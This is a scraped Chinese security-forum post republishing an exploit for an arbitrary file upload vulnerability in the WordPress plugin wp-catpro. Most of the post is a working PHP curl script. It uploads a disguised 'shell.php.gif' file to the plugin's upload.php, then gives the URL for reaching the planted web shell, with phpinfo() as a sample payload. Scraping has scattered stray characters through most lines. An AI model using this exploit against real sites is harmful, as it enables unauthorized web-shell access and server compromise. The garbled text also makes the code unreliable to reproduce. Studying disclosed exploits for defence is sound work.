找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2131|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
" a, a. F7 b1 l7 G#-----------------------------------------------------------------------, Z. L9 Y4 f& M$ i. y8 c
5 P1 ^; f2 Y, z& Q  M
作者  => Zikou-16
' j% j8 Z, b- \8 Q; L% @1 w邮箱 => zikou16x@gmail.com* N: [: T3 X( Q- z6 ?6 P
测试系统 : Windows 7 , Backtrack 5r3) N( t* e! E1 o6 k- ?( E, n
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip, N& Z/ B* G( W' C3 o3 |% r
####
& a! ]! K+ f$ a 0 |/ K: a+ c. U
#=> Exploit 信息:
3 p( b; V+ {' S) c" H------------------' Y/ ]) h( v; q/ [) i+ h
# 攻击者可以上传 file/shell.php.gif
2 T7 }. a% E" X" F5 B# ("jpg", "gif", "png")  // Allowed file extensions0 B) \3 r3 S& w% F) m
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
4 K- W% I1 z6 }$ z- E4 N  q% J' ~# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
0 @( }# Y+ _' N) Q3 s$ {! W------------------6 N3 f0 _  @- k3 P

( V( e; M; s. L5 I#=> Exploit
+ |! ?& u5 P# x-----------
8 n6 E  [  Z/ S$ y! w3 d, I  h<?php! \- k2 P& M$ N. P
9 j: I# k, U& A! J
$uploadfile="zik.php.gif";) z; G) s. p: A$ t4 m; S( I8 b
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");( y: [1 l! \- g
curl_setopt($ch, CURLOPT_POST, true);
! B& @& Y% }. f- r6 scurl_setopt($ch, CURLOPT_POSTFIELDS,
1 v6 r) i+ `/ ~* O! X1 aarray('Filedata'=>"@$uploadfile",1 V5 q4 d# y& Q5 O
'folder'=>'/wp-content/uploads/catpro/'));9 N6 D* l# Z: j2 T- t% l. U
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
# r8 Y. J# f9 L" D8 b$ }! }$postResult = curl_exec($ch);+ p* p' j: z; p; {! e
curl_close($ch);
( @* I& L- D6 d" o ( C- C  }( U3 c5 j4 g
print "$postResult";
. t- ]0 y9 s4 S, i3 N, x7 h2 q8 l
" _6 o: B) @4 _! D; YShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
+ W# L+ S' K' Z: }  ^* `0 n  ?>- A* m* y( V  b$ ?! Q4 Z/ d3 o
<?php+ t6 m  H' p) |7 `+ z4 q
phpinfo();4 B8 b+ [' C0 H  m
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表